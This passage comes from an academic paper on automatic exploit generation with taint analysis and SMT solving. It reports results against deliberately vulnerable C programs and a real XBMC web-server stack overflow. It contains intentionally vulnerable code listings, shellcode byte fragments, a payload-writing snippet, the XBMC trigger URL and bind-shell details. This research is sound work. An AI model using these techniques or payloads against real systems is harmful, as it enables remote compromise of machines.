7 TaintBytePtrsourceTb=currTb->getSource(0); 

8 //BuildthepathconditionforthesourceTaintByte 

9 buildPathCondition(sourceTb,smtFormula); 

10 

11 smtFormula.addAssume(SmtLibFormat::encodeRelation(X_ASSIGN), 

12 currTb->getId(),sourceTb->getId()); 

13 

14 ... 

15 

16 }elseif(currTb->getSourceRelation()==X_ADD){ 

17 

18 ... 

19 

20 }elseif(...){ 
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21 ... 

22 

23 } 

24    }else{ 

25 //Updatethelistofvariablesintheformula(iforinputvariable) 

26 smtFormula.addNewVar(currTb->getId(),"i",SMT_BV); 

27 //Thisdatasourcewillbeusedtodelivertheexploit 

28 dataSourcesSeen.insert(currTb->getDataSource()); 

29   } 

Listing4.14:“Encodingconditionaljumpinstructions” 

1   EncodedJcc 

2   SmtLibFormat::encodeJcc(JCCTypejccType,boolnegated) 

3   { 

4 EncodedJccejcc; 

5 

6 switch(jccType){ 

7 caseJCC_JZ: 

8 if(negated){ 

9 ejcc.prefix="(not(="; 

10 ejcc.suffix="))"; 

11 }else{ 

12 ejcc.prefix="(="; 

13 ejcc.suffix=")"; 

14 } 

15 break 

16 

17 ... 

18 

19   } 

the expression add x, y a new TaintByte object would have been created that references x 

and y as its sources and the value X ADD would be stored as its sourceRelation variable. 

The buildPathCondition function recursively traverses the sources of a TaintByte until a 
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TaintByte is reached that has the isDataSource property set to true. Such a TaintByte was 

created as a direct result of user input and can thus be controlled by our exploit. 

Listing 4.13 forms the core of the buildPathCondition function. The smtFormula variable is 

an instance of a class called SmtLibFormat that we created to encode x86 operations in 

their SMT-LIB equivalent (line 11). It also manages adding new variables (line 3) and 

building the list of assumptions (line 11). On line 28 we store the DataSource object 

associated with the current TaintByte if one exists. Recall that such DataSource objects are 

created when a hooked system call reads in data. We record the DataSource object 

encountered so that we can completely recreate the input resulting from that system call, 

not just those bytes we wish to change for shellcode/EIP control. 

 

 

Adding Conditional Constraints 

During the run-time analysis stage we store constraints from conditional jump instructions 

in a global store. In order to create an accurate path condition for a given TaintByte object 

we must add all conditional constraints on that TaintByte or its sources and, recursively, 

their sources. The conditional constraints are stored in a global map of Condition objects 

that store the TaintByte objects involved in the condition (in the EflagsOperands structure 

as previously described), the type of conditional jump, and whether the condition evaluated 

to true or false at run-time. 

This process was described at a high level in Chapter 3 as algorithm 3.8. In practice, when 

adding a conditional constraint to the path condition we first add the path conditions for all 

TaintByte objects referenced in the EflagsOperands structure. Once this is done we use the 

SmtLibFormat class to encode the conditional instruction into SMT-LIB format, taking 

into account whether the condition is negated or not. Listing 4.14 demonstrates the process 

for the jz instruction. Essentially this function maps conditional instructions to their SMT-

LIB equivalent. The jz instruction is a check on the zero flag in the EFLAGS register and is 

usually used when checking for equality, hence we map it to the = operation. 

The TaintByte objects referenced by the condition can then be embedded within the 

prefix/suffix values for the condition. 

Adding Data Source Constraints 

On line 25 of Listing 4.13 we store the DataSource object associated with a TaintByte. 
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TaintByte objects with associated DataSource objects have been created when a hooked 

system call has read in data and tainted one or more bytes of memory. A DataSource object 

stores a reference to all TaintByte objects created at that point, as well as the value of the 

tainted data read in by the system call. We store this information to allow us to recreate the 

input in its entirety, not just those bytes that we wish to change for shellcode and to hijack 

the EIP. This allows us to generate a complete program input. For all bytes referenced by 

the DataSource object, that we do not wish to change the value of, we simply add 

constraints that specify those bytes should have the same value as in the original input. The 

IDs associated with each of the TaintByte objects referenced by a DataSource object 

indicate the order in which they occurred in the original input. This is necessary to allow us 

to recreate the input sensibly. 

Storing the original inputs in this fashion is a rather obvious and simple idea but it makes 

the later exploit generation process much easier. With these constraints added the SMT 

solver will generate an input exactly the same size as the initial input and with the same 

byte ordering. This means we can directly convert the SMT solver output into a new 

program input. If the program input was read in across several system calls we can easily 

generate the same assignment constraints for all DataSource objects and take the 

conjunction of these formulae with the exploit formula. As the extra constraints are simple 

assignments there is no noticeable effect on the time taken to solve the formula. 

Using the build Path Condition function 

As shown in algorithm 3.9 this function is used once a formula has been built that 

constrains a buffer for the shellcode and specifies the required changes in order to hijack 

the EIP. The SmtLibFormat object contains a reference to every unique ID used in the 

creation of this formula and thus we can build the final formula by iterating over each of 

these IDs and applying the build Path Condition function. The Smt Lib Format object will 

generate a formula expressing the conjunction of each path condition thus resulting in the 

final exploit formula. As mentioned earlier in this section, in some cases we may generate 

multiple exploit formulae with a unique formula for every applicable shell code. 

From Formula to Exploit 

At this point we have described the implementation of all algorithms required to build a 

formula representing the conditions required for an exploit. This includes constraining a 

shellcode buffer, controlling the EIP, building the path condition and adding on data-source 
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constraints. We then use the SmtLibFormat class to embed the formula in a standard SMT-

LIB QF-BV template and write it to a file. We must then find a satisfying solution to the 

formula and convert that into a program input. To solve the formula we feed it to a SMT 

solver and wait for a result indicating the formula is satisfiable or unsatisfiable. 

After testing a number of SMT solvers we decided to use the Yices solver. Surprisingly, 

solver performance was not a factor in our decision. As we will show in the next Chapter, 

the amount of time required to solve the constructed formulae was minimal. This is in 

comparison to test case generation where the time taken to find formulae solutions can be a 

major bottleneck. The most obvious reason for the difference would seem to be that we 

purposely pick those formulae that are easier to solve and our method of taint analysis 

allows us to do so. 

 

Example4.1Sampleyicesoutput 

 

(=i00b111

01011)(=i

10b00011

000)(=i20

b0101111

0)(=i30b1

0001001) 

... 

The main factor in our selection of Yices was its easily parseable output format. As 

described in Chapter 3, Yices produces an output similar to Example 4.1. 

Example4.2Generatinganexploit 

%./bitVecToHex-bitvecexploit.bv-

useFileimportsys 

exploit=‟\xeb\x18\x5e\x89.

..‟ex = open(sys.argv[1], 

‟w‟)ex.write(exploit) 

ex.close() 

Due to the data-source constraints added to the exploit formula the output will provide a 
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bit-vector value for every byte of input. These values will either match the original input or 

will be the inputs required to satisfy our exploit conditions. Converting this bit-vector 

solution into a program input is relatively trivial. We process the bit-vector values into a 

string representable in the Python language and then embed this string within a template 

designed to deliver the exploit over a TCP/IP socket or write it to a file. This is done using 

a script called bitVecToHex. The process of generating an exploit that uses a file-based 

delivery mechanism is shown in Example 4.2. In this example the file exploit.bv is a bit-

vector description of the exploit as generated by Yices, similar in format to Example 4.1. 

The exploit text is truncated for the sake of brevity but full examples can be found in 

section B of the appendices. 

ExperimentalResults 

In Chapter 1 we presented our thesis and in subsequent chapters explained the algorithms 

and system implementation we developed to investigate the idea.   In this Chapter we will 

refer to the set of tools that make up that implementation as axgen. We will now elaborate 

on the vulnerabilities used to test our theories, algorithms and implementation. To test 

axgen we used a selection of sample vulnerabilities including one in the XBox Media 

Center (XBMC), a large multi-threaded server application. 

As per the preconditions of our thesis, all tests begin with the following data provided: 

A vulnerable program P. 

An input Λ to P that results in data derived from Λ corrupting a stored instruction pointer, 

function pointer or the destination location and source value of a write instruction. 

Attacker specified shellcode S1. 

Our objective in this Chapter is to test the capabilities of our algorithms on vulnerabilities 

that satisfy the required preconditions. The results of our testing on these vulnerabilities 

demonstrate that our thesis is plausible and that our algorithms satisfy its conditions. The 

conditions required to exploit these vul- nerabilities will also provide points to contrast 

with when we discuss future research directions in the final Chapter. 

Testing Environment 

All tests were performed in an Ubuntu Linux2 8.04 virtual machine with access to a 2Ghz 

Intel Core Duo processor and 768MB of RAM. All vulnerable applications were compiled 

with the following gcc compiler flags: 

CFLAGS =-fno-stack-protector -D FORTIFY SOURCE=0 



International Journal of Cultural Inheritance & Social Sciences (IJCISS) 

Vol. 6 Issue 10, September 2023, ISSN: 2632-7597 Impact Factor: 5.266 

Journal Homepage: http://ijciss.com/, Email: journal.ijciss@gmail.com  

Double-Blind, Peer Reviewed, Refereed& Open Access International Journal   

 

163 International Journal of Cultural Inheritance & Social Sciences  

http://ijciss.com/, Email: journal.ijciss@gmail.com 
 

The above arguments disable the stack hardening features (stack canary, variable 

reordering) and prevent the compiler performing certain compile time and run-time 

security checks. Additionally, the programs used to demonstrate function pointer 

overwrites were compiled with optimisation disabled (-O0) in order to preserve the 

function pointer semantics. 

Ubuntu 8.04 enables stack randomisation by default and includes a version of libc with 

heap hardening integrity checks. The default heap base address is not randomised. 

Listing5.1:“Astrcpybasedstackoverflow” 

1   voidfunc(char*userInput) 

2   { 

3 chararr[64]; 

4 

5 strcpy(arr,userInput); 

6   } 

 

 

Shell code Used 

For our testing we have used a selection of shellcode from the Metasploit [39] project. The 

shellcode used in an exploit will usually depend on the type of application being exploited. 

When an attacker is exploiting an application on as a machine they have local access to 

they will often use shellcode that launches a command shell such as the bash application. 

When exploiting an application on a remote machine they will often use shellcode that 

opens a local TCP port and connects the incoming data stream to a local command shell. 

To represent both of these cases we have selected two shellcodes from the Metasploit 

shellcode library. The first executes a bash command shell (referred to as execve shellcode 

in later figures) while the second opens TCP port 4444 and listens for an incoming 

connection (referred to as tcpbind in later figures). 

In certain cases an attackers input is passed through a filtering routine. Of the filters 

typically encountered on of the most common is an alpha-numeric filter. This is a filter that 

requires all bytes of input to fall in the range of ASCII alphabetic or numeric characters. It 

is possible to encode shellcode so that it meets these requirements and we include such a 

sample (referred to as alphanum ex in later figures). These three shellcodes are 38, 78 and 



International Journal of Cultural Inheritance & Social Sciences (IJCISS) 

Vol. 6 Issue 10, September 2023, ISSN: 2632-7597 Impact Factor: 5.266 

Journal Homepage: http://ijciss.com/, Email: journal.ijciss@gmail.com  

Double-Blind, Peer Reviewed, Refereed& Open Access International Journal   

 

164 International Journal of Cultural Inheritance & Social Sciences  

http://ijciss.com/, Email: journal.ijciss@gmail.com 
 

166 bytes in length respectively. 

Stored Instruction Pointer Corruption 

In Chapter 2 the first vulnerability introduced resulted in the corruption of a stored 

instruction pointer on the stack. Such vulnerabilities occur when a buffer on the stack 

overflows by a sufficient amount to reach the top of the current stack frame and then 

corrupt the 4-byte stored instruction pointer. Buffer overflow vulnerabilities are the most 

common type of security vulnerability in non-web-based software3 with overflows of stack 

based buffers making up the majority of these4. 

Generating an Exploit for a strcpy based stack overflow 

The first program we will use to test our implementation contains a buffer overflow 

vulnerability that is similar to the code introduced in Chapter 2. The full source is in 

section A.1 of the appendices but the most important part is as follows: 

Our test program P contains the above function. P reads up to 128 bytes of user input onto 

the heap using the read function and then passes a pointer to this buffer to the func 

function. Providing more than 64 bytes of input results in a buffer overflow that fills the 

stack based buffer arr and then corrupts the memory locations above arr. Our test input Λ is 

128 ‟A‟ characters i.e. 128 bytes that equal 0x41. As explained in Chapter 2, bytes 0-63 

will fill the buffer arr, bytes 64-67 will corrupt the stored EBP, and bytes 68-71 will 

corrupt the stored instruction pointer. After the strcpy the function will execute a ret 

instruction resulting in the corrupted instruction pointer being moved into the EIP register. 

Running P (Λ) with axgen will detect the corrupted instruction pointer at this point. Table 

5.1 shows information gathered from P (Λ) up to that point in the program. We have 

included the output from running axgen on P (Λ) as appendix C. 

Table5.1:Run-

timeAnalysisInformation 

TaintAnalysisStatistics 

Run-timeIncrease x18 

VulnerabilityCause Taintedret 

#TaintedMemoryLoca

tions 

256 

#PotentialShellcodeB

uffers 

2 
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UsableTrampolineRegi

sters 

EAX 

 

Table5.2:TaintBufferAnalysis 

PotentialShellcodeBuffers 

Address Siz

e 

LatticePosit

ion 

T.Re

g 

0x0804a008 128 ASSIGN - 

0xbfefe318 128 PC/ASSIG

N 

E

A

X 

 

The first point of interest is the increased run-time of the application. With no 

instrumentation P (Λ) takes 0.3 seconds to run. With a sample Pin instrumentation tool that 

counts the instructions executed P (Λ) takes 2.5 seconds to run. Running P (Λ) under axgen 

takes 6 seconds. While the difference in run-times is inconsequential for such small values 

the increase does illustrate the impact our instrumentation has on program run-times in 

general. When we use axgen on large applications this increased run-time becomes much 

more noticeable and far exceeds the time taken to solve the generated formulae. Luckily, 

vulnerabilities are rarely dependent on execution time and so the increased run-time is an 

usually an inconvenience rather than a real problem. 

We can observe in Table 5.2 that axgen correctly detects two potential shellcode buffers of 

size 128. These are the 128 byte buffer on the heap that is used as the destination buffer in 

the read call and the copy of these 128 bytes starting from arr on the stack. The stack buffer 

is located at 0xbfefe318 and, as we can see from the “T. Reg”5 field, the EAX register is 

usable as a trampoline into the buffer. Both shellcode buffers were created as a result of 

direct assignment but the stack buffer has a lattice position of PC/ASSIGN, indicating that 

at least one of its constituent bytes is constrained by a conditional instruction. The reason 

for this is that the strcpy function contains the following code: 

Example5.1strcpy check for 

0x00xb7df1daa<strcpy+26>:tes

t al,al 
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0xb7df1dac<strcpy+28>:jne 0xb7df1da0<strcpy+16> 

The above code checks every byte that strcpy processes for equality with the NULL byte in 

order to detect the End-Of-String (EOS). 

As shown in Table 5.2 the heap buffer is not reachable by any register trampolines so 

axgen will select the stack buffer to store our shellcode. Were no shellcode buffers 

reachable via trampoline registers axgen could have reverted to using the heap buffers are 

their locations are note randomised on Ubuntu 8.04. Table 

shows the statistics for the generated candidate formulae. For this exploit two formulae are 

generated because the only reachable shellcode buffer is 128 bytes in size and the 

alphanumeric shellcode requires 166 bytes of storage space. 

In Table 5.36 we can see that the formula for shellcode execve is satisfiable. A SAT result 

should indicate that an exploit X built from the satisfying solution should result in 

shellcode execution when P (X ) 

Table5.3:ExploitFormulaStatistics 

ExploitFormulaSta

tistics 

Shellcode TimetoGe

n. 

#Va

rs 

#A.Clau

ses 

#F.Claus

es 

Status Time to 

Solve 

alphanumex - - - - - - 

execve <1s 298 84 128 SAT <1s 

tcpbind <1s 334 156 132 UNS

AT 

<1s 

 

is ran. We manually confirm this for all exploits by constructing an exploit using 

bitVecToHex on the satisfying solution generated by Yices. 

In this case the tcpbind exploit was found to be unsatisfiable. The reason for this is 

indicated by the number of formula clauses. As there are only 128 bytes of input provided 

to the program 132 formula clauses may indicate four variables are constrained twice. By 

checking the formula we can observe that these four bytes are the four bytes used to 

specify the address of the register trampoline. The reason for this is simple, the stored 

instruction pointer is at 0xbfefe318 + 68 so the constraints on the register trampoline 

address will start there and include the following four bytes. The tcpbind shellcode is 78 
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bytes in length and by using the buffer at 0xbfefe318 to store it we attempt to use the same 

4 bytes at 0xbfefe318 + 68 that we are also trying to use for the register trampoline 

address. Our tool generates a warning when it detects a situation whereby it may be 

attempting to constrain the same variable twice. As described in Chapter 4, if multiple 

shellcode buffers are reachable it will attempt to resolve this problem by changing the 

buffer used for shellcode. In this case it is not necessary though as the other shellcode, 

execve, can be used without any conflict. 

Generating an Exploit for the XBox Media Center Application 

XBMC is a cross-platform media center application containing more than 100,000 lines of 

C++ code. It features a remotely accessible web server that accepts and processes arbitrary 

HTTP requests. On the 4th of April 2009 several components were updated7 to fix a 

number of stack overflow vulnerabilities that stemmed from unsafe use of the strcpy 

function. These vulnerabilities can be remotely triggered through a request to the web 

server. We will use axgen to generate an exploit for one of these vulnerabilities. 

The vulnerability we are going to exploit is not in the web server component itself but in 

the dll open function in the file XBMC/xbmc/cores/DllLoader/exports/emu msvcrt.cpp8. It 

results from a strcpy call that copies user supplied data into a 1024 byte statically allocated 

stack buffer without check- ing the length of the source string. The vulnerability is 

triggerable through a HTTP GET request to the following URL: 

[/xbmcCmds/xbmcHttp?command=GetTagFromFilename(C:/] + [AAAA...AAAA] + 

[.mp3)] 

The stack buffer is declared as char str[XBMC MAX PATH] where XBMC MAX PATH 

is defined as 1024. Therefore greater than 1024 ‟A‟ characters in the above URL will result 

in memory corruption. We use the above URL with 2000 ‟A‟ characters as our program 

input Λ. 

Tables 5.4 and 5.5 contain the results of the run-time analysis on P (Λ) up to the 

vulnerability point. In this case the run-time increase is quite noticeable. XBMC takes 1.5 

seconds to process and respond to a request when uninstrumented. With full 

instrumentation of assignment, linear arithmetic and non-linear arithmetic this response 

time increases to 10 minutes 20 seconds, an increase by a factor of 413. Once again we 

note that this increase is not prohibitive and given the size of the code-base is likely faster 

than a human auditor could trace the code path manually. In Table 5.4 we have also 
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included two new fields for run-time increase. The first (A+L+C) is the run-time increase 

when we exclude the analysis of non-linear arithmetic instructions. In this case we 

instrument assignment (A), linear arithmetic (L) and conditional jumps (C). 

Table5.4:Run-timeAnalysisInformation 

TaintAnalysisStatistics 

Run-timeIncrease x413 

Run-

timeIncrease(A+L+C

) 

x346 

Run-

timeIncrease(A+C) 

x150 

VulnerabilityCause Taintedret 

#TaintedMemoryLoca

tions 

28516 

#PotentialShellcodeB

uffers 

56 

UsableTrampolineRegi

sters 

EAX 

 

Table5.5:TaintBufferAnalysis(Top5ShellcodeBuffers,orderedbysize) 

 

PotentialShellcodeBuffers 

Address Size LatticePosit

ion 

T.Re

g 

0x0918465

8 

1994 ASSIGN - 

0x0918566

9 

1989 PC/ASSIG

N 

- 

0x09187ed8 1977 PC/ASSIG

N 

- 

0x091866c8 1958 PC/ASSIG

N 

- 
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0x09186ee3 1958 PC/ASSIG

N 

- 

 

The second new field is the run-time increase when we then exclude both non-linear 

arithmetic and linear arithmetic from the analysis. 

The motivation for excluding certain instruction categories from instrumentation comes 

from analysing the potential shellcode buffers that are available. As shown in Table 5.5, 

the top 59 of these buffers are exclu- sively in the ASSIGN and PC/ASSIGN categories. In 

fact, we discovered no shellcode buffer greater than 4 bytes in size that was created as a 

result of linear or non-linear arithmetic. This is a compelling argument for iterative analysis 

where the analysis client gives the option of enabling/disabling instrumentation for differ- 

ent instruction categories. We hypothesise that in many applications that use string 

manipulation functions, such as strcpy, strcat and so on, there will exist a number of 

shellcode buffers that are discoverable via analysis of assignment and path condition 

instructions exclusively. 

Table5.6:ExploitFormulaStatistics 

ExploitFormulaSta

tistics 

Shellcode TimetoGe

n. 

#Var

s 

#A.Clau

ses 

#F.Claus

es 

Stat

us 

Time to 

Solve 

alphanumex <1s 14748 8930 1200 SA

T 

1.2s 

execve <1s 8164 2218 1200 SA

T 

<1s 

tcpbind <1s 10108 4378 1200 SA

T 

<1s 

 

The ability to focus on minimally constrained data is an interesting difference between 

exploit generation and automatic test-case generation based on SMT solving, as in [38, 27, 

14, 15]. Many of these authors document formula solving as being one of the most time 

consuming activities encountered whereas the formulae we generate are relatively simple. 

The reason for this is that we purposely select those formulae we know to be of a lower 



International Journal of Cultural Inheritance & Social Sciences (IJCISS) 

Vol. 6 Issue 10, September 2023, ISSN: 2632-7597 Impact Factor: 5.266 

Journal Homepage: http://ijciss.com/, Email: journal.ijciss@gmail.com  

Double-Blind, Peer Reviewed, Refereed& Open Access International Journal   

 

170 International Journal of Cultural Inheritance & Social Sciences  

http://ijciss.com/, Email: journal.ijciss@gmail.com 
 

complexity. No mechanism is implemented in the previous work to facilitate such a 

prioritisation. 

The taint lattice introduced in Chapter 3 allows us to pick the buffer with the least complex 

constraints and thus we can reduce the time required to generate the exploit to a minimum. 

Our algorithms also have the advantage of constraining the minimal set of bytes required 

by the exploit. This is because we only build the path conditions for exactly those bytes in 

the shellcode buffer and involved in hijacking the EIP. While 

Listing5.2:“Afunctionpointeroverflowz“ 

1   voidfunc_ptr_smash(char*input) 

2   { 

3 inti=0; 

4 void(*func_ptr)(int)=exit_func; 

5 charbuffer[248]; 

6 

7 strcpy(buffer,input); 

8 

9 printf("Exitingwithcode%d\n",i); 

10 (*func_ptr)(i); 

11   } 

it would be possible to build the path condition for all input bytes, this has been previously 

documented as generating unwieldy formula [38] and is unnecessary for our purposes. 

As in the previous vulnerable application there is a single usable trampoline register, the 

EAX register. In this case it points to a stack based buffer that is 882 bytes in size and has 

the lattice position of PC/ASSIGN. We could guess that as in the previous case the buffer 

is created via a string manipulation function that compares each byte with the EOS 

character 0x0. Inspecting the formula confirms this to be the case. Other constraints also 

occur in the formula that are consistent with the bytes in the shell code buffer, or bytes they 

are derived from, being processed by a web server. For example, there are constraints that 

restrict variables from equaling the ‟/‟ character. 

The buffer pointed to by EAX is large enough to store any of our potential shell codes. In 

the case of a remote exploit it is not beneficial to the attacker to spawn a local command 

shell on the server machine so we used the tcpbind shell code for our exploit. The 
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generated exploit is provided as appendix B.2. 

Manual testing of the exploit generated results in shell code execution and TCP port 4444 

is opened on 

the server machine. It is worth noting at this point that our exploit algorithm requires one to 

specify the address of a register trampoline. In order to discover such an address an 

attacker would first have to leverage a remote information leakage vulnerability or have 

local access to the machine they wish to exploit. 

Having successfully created the above exploits we can conclude that the algorithms we 

have described are a feasible mechanism of exploit generation for this class of 

vulnerabilities. We have also demonstrated that our algorithms and implementation can 

analyse a large, real-world application. We will now illustrate the results from testing our 

algorithms on stored pointer corruption, followed by indirect exploits. 

Stored Pointer Corruption 

Stored pointer corruption is the other type of exploit we have classed as potentially leading 

to a direct exploit. As described in Chapter 2, the exploitation mechanism for a 

vulnerability resulting in stored pointer corruption is almost identical to that of stored 

instruction pointer corruption. 

Generating an Exploit in the Presence of Arithmetic Modifications 

As part of our test case for this vulnerability we integrated arithmetic modification of the 

input read in by the application. Let us first consider the vulnerability without arithmetic 

modifications. The full code for the vulnerable program is in section A.3.1 of the 

appendices. The vulnerable function is shown in Listing 5.2. 

An exploit for the overflow in this code must modify the func ptr variable to point to 

shellcode provided by the attacker. Generating such an exploit requires essentially the 

same process as the strcpy based stored instruction pointer exploit. The results are also 

quite similar, except for one point. In this case axgen discovers there are no usable 

trampoline registers. An exploit is still possible though as the user input is initially read 

onto the heap (line 33, appendix A.3.1) which is not randomised. The generated 

Listing5.3: “Arithmeticmodificationoftheinput” 

1    for(z=0;z<248;z++) 

2 heapArr[z]=(char)heapArr[z]+4; 

exploit replaces the function pointer with this address (0x0804a008) instead. The full 
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− 

exploit is available as appendix B.3.1.   It replaces the function pointer with the heap 

address which causes execution to be redirect to our 38 byte execve shellcode. 

Now let us consider the case where our input is subjected to arithmetic modification. For 

instance, the vulnerable program in appendix A.3.2 contains the same vulnerable function 

as in Listing 5.2 but the input is passed through the loop in Listing 5.3. 

Using our exploit for the original program results in a segmentation fault. This is because 

our shellcode has been modified and is no longer the intended machine code. For example, 

the first 5 bytes of the original shellcode is the following (in Python‟s string 

representation): 

\xeb\x18\x5e\x89\x76 

After passing through the above loop they are modified to: 

\xef\x1c\x62\x8d\x7a 

It is clear that in order for the correct shellcode to be at the location we redirect execution 

to we must specify the value s 4 for every byte s in the shellcode. Doing this manually 

would be tedious and in the presence of more complex modifications in a large application 

it would become quite time consuming. 

Using axgen the required input is automatically generated to satisfy these conditions. This 

is one of the primary advantages of a formula based approach to exploit generation. During 

the run-time analysis the arithmetic modification are instrumented and incorporated into 

the generated exploit formula. A satisfying solution for the formula will therefore be an 

input that results in the required shellcode after the arithmetic modifications have taken 

place. The resulting, functional exploit is listed as appendix B.3.2. The first 5 bytes are the 

following: 

\xe7\x14\x5a\x85\x72 

When each of the above bytes is modified by the loop in Listing 5.3 it results in the 

required shell code value being stored in the heap Arr buffer. When control flow is 

hijacked via the function pointer the shell code executes and a command shell is launched. 

Table5.7:Run-

timeAnalysisInformation 

TaintAnalysisStatistics 

Run-timeIncrease x20 

VulnerabilityCause Taintedret 
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#TaintedMemoryLoca

tions 

510 

#PotentialShellcodeB

uffers 

2 

UsableTrampolineRegi

sters 

None 

 

Tables 5.7 and 5.8 list information gathered from analysis of the exploit generation 

process. The lattice position of the heap array is linear arithmetic (LIN-ARITH) due to the 

loop in Listing 5.3 while the stack buffer is also path constrained due to the use of strcpy. 

Table 5.9 provides the statistics gathered from the candidate exploit formulae. The shell 

code buffer is large enough to hold any of the three shell codes and all three satisfy any 

other input constraints. 

Table5.8:TaintBufferAnalysis 

PotentialShellcodeBuffers 

Address Siz

e 

LatticePositi

on 

T.Re

g 

0x0804a008 255 LIN-

ARITH 

- 

0xbfc1c858 255 PC/LIN-

ARITH 

- 

 

Table5.9:ExploitFormulaStatistics 

ExploitFormulaSta

tistics 

Shellcode TimetoGe

n. 

#Va

rs 

#A.Clau

ses 

#F.Claus

es 

Stat

us 

Time to 

Solve 

alphanumex <1s 1424 838 256 SA

T 

<1s 

execve <1s 604 174 256 SA

T 

<1s 

tcpbind <1s 995 398 256 SA <1s 
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T 

 

5.3 Write Operand Corruption 

The final vulnerability type we tested our implementation on is an indirect write 

vulnerability similar to the example shown in Chapter 2. The full source for this 

vulnerability is provided as appendix A.4. 

The vulnerable function is shown in Listing 5.4. The function contains an off-by-one 

miscalculation on the bounds of the loop. As a result the variable ptr can be corrupted by 

user input. On line 12 this corrupted address is then used as the destination operand to a 

write instruction. The value of the source operand is also tainted by user input. Our initial 

test input Λ to the above vulnerability consisted of 132 ‟A‟ characters. Note that array arr 

is 32 int variables. On our platform an int is 4 bytes so the total array size is 128 bytes. 

Tables 5.10 and 5.11 document the results of the run-time analysis for this vulnerability. 

There are a number of subtle differences that influence these results that do not occur in the 

case of a direct exploit. Firstly, as mentioned in chapters 3 and 4, the analysis for an 

indirect exploit takes place in two stages. When a vulnerable write is detected we modify 

the destination address to the.dtors segment, hence the 4 tainted bytes at address 

0x0804956c. Then the actual gathering of information on usable shellcode buffers and 

trampolines occurs when the.dtors values are being processed and moved to the EIP 

register. 

For this particular vulnerability there are no usable register trampolines. This means we 

will once again have to use a static address. This rules out the buffer at 0xbfbe2fb0 as it is 

on the stack. When generating the candidate exploit formulae axgen notices that for all 

usable shellcodes (alphanum ex is too large for the available buffers) we are trying to use a 

variable being used for EIP control in our shellcode. The reason for this is that the first 4 

bytes of the shellcode buffer at 0x0804a008 are used on line 12 as the source value for the 

corrupted write instruction. In this case axgen solves the problem using the approach 

described in 

 

Listing5.4:“Afunctioncontainingawritecorruptionvulnerability” 

1   voidfunc(int*userInput) 

2   { 
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3 int*ptr; 

4 intarr[32]; 

5 inti; 

6 

7 ptr=&arr[31]; 

8 

9 for(i=0;i<=32;i++) 

10 arr[i]=userInput[i]; 

11 

12 *ptr=arr[0]; 

13   } 

Table5.10:Run-timeAnalysisInformation 

TaintAnalysisStatistics 

Run-timeIncrease x15 

VulnerabilityCause Corruptedwriteoperands 

#TaintedMemoryLoca

tions 

268 

#PotentialShellcodeB

uffers 

3 

UsableTrampolineRegi

sters 

None 

 

 

Table 5.11: Taint Buffer Analysis 

 

PotentialShellcodeBuffers 

Address Siz

e 

LatticePosit

ion 

T.Re

g 

0x0804a008 132 ASSIGN - 

0xbfbe2fb0 132 ASSIGN - 

0x0804956c 4 ASSIGN - 
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Chapter 4. When using a shellcode buffer at a static address we can start our shellcode at 

any index into that buffer. This is not possible when using a register trampoline as the 

trampoline dictates exactly where the shellcode must begin. axgen successfully detects that 

starting the shellcode at 0x0804a008 + 4 will avoid this conflict and still leave enough 

space for the shell code. 

Table 5.12: Exploit Formula Statistics 

ExploitFormulaStatisti

cs 

Shellcode TimetoGe

n. 

#Var

s 

#A.Clau

ses 

#F.Claus

es 

Stat

us 

Time to 

Solve 

alphanumex - - - - - - 

execve <1s 362 230 132 SA

T 

<1s 

tcpbind <1s 576 444 132 SA

T 

<1s 

 

Table 5.12 shows the statistics gathered from the exploit formulae generated. The large 

number of variables and assumption clauses, in comparison to the strcpy and function 

pointer tests, is a result of the 4-byte int data type. As we instrument at the byte level each 

operation that has larger operands requires concatenation of variables representing the 

individual bytes. The exploit generated from the execve shell code is provided as appendix 

B.4. 

Conclusion and Further Work 

We have shown that automatic exploit generation of control flow hijacking exploits is 

possible. We have also presented novel algorithms to do so and demonstrated the results of 

applying these algorithms to a number of vulnerabilities in different programs, including a 

large and complex real-world application. As discussed in our introduction, tools for 

automatic exploit generation are important if we are to correctly diagnose the severity of 

bugs in software. Our algorithms are sufficient to perform this task for the described bug 

classes on Linux with ASLR enabled. 

In this final Chapter we will introduce some further areas of research on the topic of AEG. 
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These areas fall outside of our thesis but we believe them to be important to the further 

development of tools for automatic exploit generation. Some of the suggested research 

areas overlap with research on automatic test case generation and vulnerability detection. 

For these cases it will be possible to use the developed theory and tools when considering 

AEG. In other cases, AEG presents problems that are not necessarily important to consider 

when trying to find vulnerabilities. For these problems it will be necessary for directed 

research on exploit generation. 

 

Automatic Memory-Layout Manipulation 

In our thesis one of the preconditions was the following: 

Data derived from user input corrupts a stored instruction pointer, function pointer or the 

destination location and source value of a write instruction. 

In earlier versions of Linux and Windows this condition would not have excluded exploits 

for heap metadata overflows. This has changed in recent versions and there now exists a 

variety of integrity checks designed to thwart such exploit attempts. These integrity checks 

usually do not prevent the initial memory corruption but they do stop the corrupted data 

being used in write instructions. To avoid these integrity checks a variety of techniques 

have evolved that primarily require the ability to manipulate the layout of the heap and 

related data structures as well as their content [44, 18, 30]. 

Without getting involved in the exact details, this requires one to discover heap allocation 

and deallocation routines within the binary and then trigger sequences of allocations and 

deallocations. The required sequences differ depending on the application, the OS and the 

type of exploit we are creating. In order to automatically generate such an exploit we need 

to be able to discover these heap manipulation primitives and reason about them in terms 

of their effects on programs memory layout. This is a research area that has so far seen 

little interest but will be crucial if we are to build heap exploits on modern operating 

systems. 

The solution to this problem is not as simple as discovering paths to the heap manipulation 

routines. Different operating systems and applications require different heap manipulations 

in terms of the size and number of allocations/deallocations and the required content of 

these allocated memory blocks. For example, 

Listing6.1:“Single-
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pathanalysisleadstoincompletetransitionrelations” 

1   switch(userInput): 

2 case‟A‟: 

3 y=1 

4 break; 

5 case‟B‟: 

6 y=2 

7 break; 

8 default: 

9 y=10; 

10 break; 

heap spraying [51] is a technique whereby large chunks of program memory are filled with 

shellcode preceded by NOP instructions. Manually one injects this code by discovering 

what parts of program input are stored on the heap and can be legitimately expanded to 

include this data while still triggering the exploit. This involves discovering the 

relationship between heap allocations and program input as well as the maximum bounds 

for different fields of user input. 

The former problem could potentially be approached by considering the relationship 

between loops iter- ations and program input, as discussed in [47], but further work is 

needed to develop these methods into a flexible means of memory manipulation. 

Multi-PathAnalysis 

In our algorithms we consider the single path resulting from P (Λ) as the sole source of 

information when generating an exploit. There are situations where two inputs Λ1 and Λ2 

trigger the same vulnerability but P (Λ1) is exploitable while P (Λ2) is not. In such a 

situation our approach relies on whatever mechanism that is generating the inputs to 

discover the exploitable path.  A more intelligent solution might be to include a feedback 

loop from the exploit generation algorithms to the testing mechanism so that it can focus 

on finding more paths to a known vulnerability. 

